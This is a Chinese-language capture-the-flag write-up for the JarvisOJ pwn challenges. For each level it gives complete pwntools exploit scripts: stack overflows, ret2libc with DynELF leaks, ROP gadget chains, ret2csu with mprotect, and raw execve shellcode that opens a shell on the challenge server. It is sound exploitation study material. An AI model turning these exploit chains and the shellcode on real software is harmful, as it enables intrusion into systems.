Jarvisoj_WP
文章目錄
- @[toc]
- **JarvisOJ - Level 0**
- **EXP**
- **JarvisOJ - Level 1**
- **EXP**
- **JarvisOJ - Level 2**
- **EXP**
- **JarvisOJ - Level 2_x64**
- **EXP**
- **JarvisOJ - Level 3**
- **EXP**
- **JarvisOJ - Level 3_64**
- **EXP**
- **JarvisOJ - Level 4**
- **EXP**
- **JarvisOJ - Level 5**
- **EXP**
- **JarvisOJ - Test Your Memory**
- **EXP**
- @[toc]
- **EXP**
- **EXP**
- **EXP**
- **EXP**
- **EXP**
- **EXP**
- **EXP**
- **EXP**
- **EXP**
JarvisOJ - Level 0
題目鏈接
類型:ret2text
先把文件拖進虛擬機,64位ELF文件,只開啟了NX保護
用IDA反編譯,main函數會調用vulnerable_function,另外程序里還有一個callsystem()
Vulnerable_function里的read()可以讀取0x200個字節,但只有0x80的內存
所以打算通過read()覆蓋返回地址,跳轉到callsystem.查看callsystem的地址
EXP
JarvisOJ - Level 1
題目鏈接
類型:ret2shellcode
這次拿到的是32位
int __cdecl main(int argc, const char **argv, const char **envp) {vulnerable_function();write(1, "Hello, World!\n", 0xEu);return 0; } ssize_t vulnerable_function() {char buf; // [sp+0h] [bp-88h]@1printf("What's this:%p?\n", &buf);return read(0, &buf, 0x100u); }buf大小為0x88,于是想把一段shellcode寫在buf上,然后使返回地址指向buf
EXP
#-*- coding: utf-8 -*- from pwn import *p = remote('pwn2.jarvisoj.com', 9877) #p = process("./level1")text = p.recvline()[14:-2] print text[14:-2]buf_addr = int(text, 16) shellcode = asm(shellcraft.sh()) #生成一段shellcode并轉化成字符串payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr) #先填a再填shellcode p.send(payload) p.interactive()成功得到flag
JarvisOJ - Level 2
題目鏈接
類型:ret2syscall
這次的vulnerable_function()是這樣的,buf大小為0x88
在程序里找到system函數和/bin/sh字符串,得到地址
EXP
from pwn import * p = remote('pwn2.jarvisoj.com', 9878) #p = process("./level2")system_addr = 0x08048320 sh_addr = 0x0804A024payload = 'a' * 0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(sh_addr) p.sendlineafter("Input:\n", payload) p.interactive()返回地址指向system,buf返回地址的上方有另一個返回地址,為system函數執行后的返回地址,任意填充,后面再放上將system需要的參數&’/bin/sh’
JarvisOJ - Level 2_x64
題目鏈接
類型:ret2syscall
64位ret2syscall,代碼與上一題32位一樣,read()允許讀入的容量比buf大得多,文件里也有system和"/bin/sh"
EXP
from pwn import* p = remote('pwn2.jarvisoj.com','9882') #p = process("./level2_64") #elf = ELF('./level2_x64')pop_rdi_addr = 0x00000000004006b3 #pop rdi #sh_addr = elf.search('/bin/sh').next() sh_addr = 0x0000000000600A90 #'/bin/sh' #system_addr = elf.symbols['system'] system_addr = 0x0000000000400603 #systempayload = 'a' * 0x80 + "bbbbcccc" + p64(pop_rdi_addr) + p64(sh_addr) + p64(system_addr) p.sendline(payload) p.interactive()得到flag
JarvisOJ - Level 3
題目鏈接
類型:ret2libc
題目是32位NX保護,給了一個level3和一個libc文件。buf容量為0x88
int __cdecl main(int argc, const char **argv, const char **envp) {vulnerable_function();write(1, "Hello, World!\n", 0xEu);return 0; } ssize_t vulnerable_function() {char buf; // [sp+0h] [bp-88h]@1write(1, "Input:\n", 7u);return read(0, &buf, 0x100u); }vulnerable_function()中用了write函數,可以知道write函數在內存中的地址。通過libc中write和system函數的相對位置,算出system在內存中的地址。
在libc中查找’/bin/sh’和system的位置
.rodata:00162D4C aBinSh db '/bin/sh',0 ; DATA XREF: sub_3FDA0+43Bo
.text:00040310 public system ; weak
在level3中搜索vulnerable_function和write的地址
.text:0804844B public vulnerable_function
.plt:08048340 ; ssize_t write(int fd, const void *buf, size_t n)
EXP
#-*- coding: utf-8 -*- from pwn import * #p = process('./level3') p = remote("pwn2.jarvisoj.com",9879) libc = ELF('./libc-2.19.so') e = ELF('./level3')vulfun_addr = 0x0804844B #vulnerable_function的地址 write_plt = e.symbols['write'] #write函數在plt表中的地址 #write_got = e.got['write'] write_got = 0x0804A018 #write函數在got表中的地址payload1 = 'a' * 0x88 + "bbbb" + p32(write_plt) + p32(vulfun_addr) + p32(1) + p32(write_got) + p32(4) #溢出地址+返回地址+參數 p.recvuntil("Input:\n") p.sendline(payload1)write_addr = u32(p.recv(4))libc_write = libc.symbols['write'] #write函數在libc中的位置 #libc_system = libc.symbols['system'] #libc_sh = libc.search('/bin/sh').next() #libc_read_addr = 0x000dde30 libc_system = 0x00040310 #system函數在libc中的位置 libc_sh = 0x162d4c #'/bin/sh'函數在libc中的位置 system_addr = write_addr - libc_write + libc_system #計算system在內存中的位置 sh_addr = write_addr - libc_write + libc_sh #計算'/bin/sh'在內存中的位置payload2 = 'a' * 0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(sh_addr) #棧結構同level2 p.sendline(payload2) p.interactive()JarvisOJ - Level 3_64
題目鏈接
類型:ret2libc
level3的64位版本,思路同level3一樣,先寫出write函數的地址,再利用得到system和"/bin/sh"的地址
.text:00000000004005E6 public vulnerable_function
用寄存器實現跳轉,搜索pop語句
ph4ntom@ubuntu:~$ ROPgadget --binary level3_x64 --only 'pop|ret' Gadgets information ============================================================ 0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b0 : pop r14 ; pop r15 ; ret 0x00000000004006b2 : pop r15 ; ret 0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400550 : pop rbp ; ret 0x00000000004006b3 : pop rdi ; ret //選擇的語句 0x00000000004006b1 : pop rsi ; pop r15 ; ret //選擇的語句 0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400499 : retUnique gadgets found: 11由于系統調用經常要用到,這里貼一個x86 & x64 Linux 系統調用號表:Linux系統調用號
EXP
from pwn import*#p = process('./level3_x64') p = remote('pwn2.jarvisoj.com',9883)libc = ELF('./libc-2.19.so') e = ELF('./level3_x64')pop_rdi_ret = 0x00004006b3 #pop rdi;ret pop_rsi_ret = 0x00004006b1 #pop rsi;pop r15;ret write_plt = e.symbols['write'] #write_plt = 0x00000000004004B0 write_got = e.got['write'] #write_got = 0x0000000000600A58 vul_addr = e.symbols['vulnerable_function'] #vul_addr = 0x4005e6payload1 = 'a' * pad + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vul_addr) p.recvuntil("Input:\n") p.sendline(payload1)write_addr = u64(p.recv(8)[0:8]) print(write_addr)libc_write = libc.symbols['write'] #libc_write = 0x00000000000EF3B0 libc_system = libc.symbols['system'] #libc_system = 0x0000000000046590 libc_sh = libc.search('/bin/sh').next() #libc_sh = 0x0000000000180543system_addr = write_addr - libc_write + libc_system sh_addr = write_addr - libc_write + libc_shpayload2 = 'a' * 0x80 + "bbbbcccc" + p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr) + p64(0xdeadbeef) p.sendline(payload2) p.interactive() p.close()運行的時候發現總是報錯,調試了好久發現是因為libc文件沒有換成本題的,還在用level3的,下次可要記住了
JarvisOJ - Level 4
題目鏈接
類型:ret2libc(DynELF)
level3無libc文件版本,在vulnerabel_function里也沒有write函數
int __cdecl main(int argc, const char **argv, const char **envp) {vulnerable_function();write(1, "Hello, World!\n", 0xEu);return 0; } ssize_t vulnerable_function() {char buf; // [sp+0h] [bp-88h]@1return read(0, &buf, 0x100u); }由于沒有提供libc文件,這一題是通過DynELF遠程獲取libc。這里構建一個leak函數用于泄露libc中一些函數的地址,便于重復利用
除了沒有libc文件,本題也沒有"/bin/sh"字符串,所以選擇把字符串寫在bss段上
EXP
#-*- coding: utf-8 -*- from pwn import *#p = process('./level4') p = remote('pwn2.jarvisoj.com','9880')e = ELF('./level4') write_plt = e.symbols['write'] vul_addr = e.symbols['vulnerable_function'] bss_addr = 0x0804A024 #bss段的地址 def leak(addr): #構造leakpayload = 'a' * 0x88 + "bbbb"payload += p32(write_plt)payload += p32(vul_addr)payload += p32(0x1)payload += p32(addr)payload += p32(0x4)p.send(payload)data = p.recv(4)return datad = DynELF(leak,elf = e) system_addr = d.lookup('system','libc')#read_addr = e.symbols['read'] #read_addr = d.lookup('read','libc') read_addr = 0x08048310 #read函數用于寫入字符串 payload2 = 'a' * 0x88 + "bbbb" + p32(read_addr) + p32(vul_addr) + p32(0) + p32(bss_addr) + p32(8) #寫入"/bin/sh" p.send(payload2) p.sendline('/bin/sh')payload3 = 'a' * 0x88 + "bbbb" + p32(system_addr) + p32(0xdeadbeef) + p32(bss_addr) p.sendline(payload3) p.interactive()JarvisOJ - Level 5
題目鏈接
類型:ret2csu
libc好復雜而且題目好多,終于來到終極中級ROP
題目說明是這樣的
mmap和mprotect練習,假設system和execve函數被禁用,請嘗試使用mmap和mprotect完成本題
附件同level3_x64
連文件都不換一個,懶到不敢相信。mmap和mprotect都與讀寫權限有關,mmap是將文件映射到一段內存去同時設置那段內存的屬性可讀可寫或者是可執行,mprotect函數則是從addr開始的長度為len的內存的訪問權限
既然是csu,先看一看_libc_csu_init函數,找到傳遞參數的6個寄存器
.text:0000000000400650 ; void _libc_csu_init(void) .text:0000000000400650 public __libc_csu_init .text:0000000000400650 __libc_csu_init proc near ; DATA XREF: _start+16o .text:0000000000400650 push r15 .text:0000000000400652 mov r15d, edi .text:0000000000400655 push r14 .text:0000000000400657 mov r14, rsi .text:000000000040065A push r13 .text:000000000040065C mov r13, rdx .text:000000000040065F push r12 .text:0000000000400661 lea r12, __frame_dummy_init_array_entry .text:0000000000400668 push rbp .text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry .text:0000000000400670 push rbx .text:0000000000400671 sub rbp, r12 .text:0000000000400674 xor ebx, ebx .text:0000000000400676 sar rbp, 3 .text:000000000040067A sub rsp, 8 .text:000000000040067E call _init_proc .text:0000000000400683 test rbp, rbp .text:0000000000400686 jz short loc_4006A6 .text:0000000000400688 nop dword ptr [rax+rax+00000000h] .text:0000000000400690 .text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54j .text:0000000000400690 mov rdx, r13 /利用 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call qword ptr [r12+rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36j .text:00000000004006A6 add rsp, 8 /利用 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn .text:00000000004006B4 __libc_csu_init endppop rdi; ret 和pop rsi; pop r15; ret 在level3_x64中都已經得到了,同樣這里也用系統調用將bss和mprotect寫進got表
EXP
#-*- coding: utf-8 -*- from pwn import* context.log_level = "debug"p=remote('pwn2.jarvisoj.com',9884) e = ELF("./level3_x64") libc = ELF("./libc-2.19.so")write_plt = e.plt["write"] write_got = e.got["write"] vul_addr = e.symbols["vulnerable_function"] rdi = 0x00000000004006b3 rsi_r15 = 0x00000000004006b1#用write寫出write函數的地址 payload1 = 'a' * 0x80 + "bbbbcccc" + p64(rdi) + p64(1) + p64(rsi_r15) + p64(write_got) + p64(0xdeadbeef) + p64(write_plt) + p64(vul_addr) p.recvline() p.send(payload1) tmp = p.recv(8) write_addr = u64(tmp[0:8]) print hex(write_addr)offset = write_addr-libc.symbols['write'] #用于后續計算mprotect函數的地址#用read將shellcode寫入bss段 bss_addr = e.bss() #bss的地址,用bss儲存shellcode read_plt = e.symbols['read'] #read的位置,用于寫入shellcode payload2 = 'a' * 0x80 + "bbbbcccc" + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_addr) + p64(0xdeadbeef) + p64(read_plt) + p64(vul_addr) p.recvline() p.send(payload2) shell_code = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' p.send(shell_code)#把bss添加到got表 bss_got = 0x0000000000600A48 payload3 = 'a' * 0x80 + "bbbbcccc" + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_got) + p64(0xdeadbeef) + p64(read_plt) + p64(vul_addr) p.recvline() p.send(payload3) p.send(p64(bss_addr))#把mprotect添加到got表 mprot_got = 0x0000000000600A50 mprot_addr = libc.symbols['mprotect'] + offset payload4 = 'a' * 0x80 + "bbbbcccc" + p64(rdi) + p64(0) + p64(rsi_r15) + p64(mprot_got) + p64(0xdeadbeef) + p64(read_plt) + p64(vul_addr) p.recvline() p.send(payload4) p.send(p64(mprot_addr))payload5 = 'a' * 0x80 + "bbbbcccc" + p64(0x4006A6) + "ret_addr" + p64(0) + p64(1) + p64(mprot_got) + p64(7) + p64(0x1000) + p64(0x600000) #跳到4006A6,ret_addr模擬壓棧,最后六個值分別賦給rbx, rbp, r12, r13, r14, r15,實現調用mprotect payload5 += p64(0x400690) + "ret_addr" + p64(0) + p64(1) + p64(bss_got) + p64(0) + p64(0) + p64(0) #同上,執行shellcode payload5 += p64(0x400690) #向下執行 p.recvline() p.send(payload5) sleep(5) #延遲程序運行,否則不成功,不知道原因 p.interactive()JarvisOJ - Test Your Memory
題目鏈接
類型:ret2csu
不知道是什么,拖進IDA看看再說
int __cdecl main(int argc, const char **argv, const char **envp) {unsigned int v3; // eax@1_BYTE v5[3]; // [sp+1Dh] [bp-13h]@2signed int v6; // [sp+28h] [bp-8h]@1signed int i; // [sp+2Ch] [bp-4h]@1v6 = 10;puts("\n\n\n------Test Your Memory!-------\n");v3 = time(0);srand(v3);for ( i = 0; i < v6; ++i )v5[i] = alphanum_2626[rand() % 0x3Eu];printf("%s", v5);mem_test(v5);return 0; } int __cdecl mem_test(char *s2) {int result; // eax@2char s; // [sp+15h] [bp-13h]@1memset(&s, 0, 0xBu);puts("\nwhat???? : ");printf("0x%x \n", hint);puts("cff flag go go go ...\n");printf("> ");__isoc99_scanf("%s", &s);if ( !strncmp(&s, s2, 4u) ) //比較兩個字符串s,s2result = puts("good job!!\n");elseresult = puts("cff flag is failed!!\n");return result; }mem_test()這里有用到scanf(),程序里有system和“/bin/sh",這就很簡單,一道ret2syscall
EXP
#-*- coding: utf:8 -*- from pwn import *#p = process('./memory') p = remote("pwn2.jarvisoj.com","9876") e = ELF('./memory')system_addr = e.symbols['system'] #0x08048440,plt段 cat_flag = 0x080487E0 #rodata段,&("cat flag") #print("%#x"%system_addr) payload = 'a' * 0x13 + 'bbbb' + p32(system_addr) + p32(0x08048677) + p32(cat_flag) #int->str,返回地址為main()p.sendline(payload) p.interactive()總結
以上是生活随笔為你收集整理的Jarvisoj_WP的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: matlab中计算最大利润,最大利润问题
- 下一篇: Web送货单打印管理系统毕业设计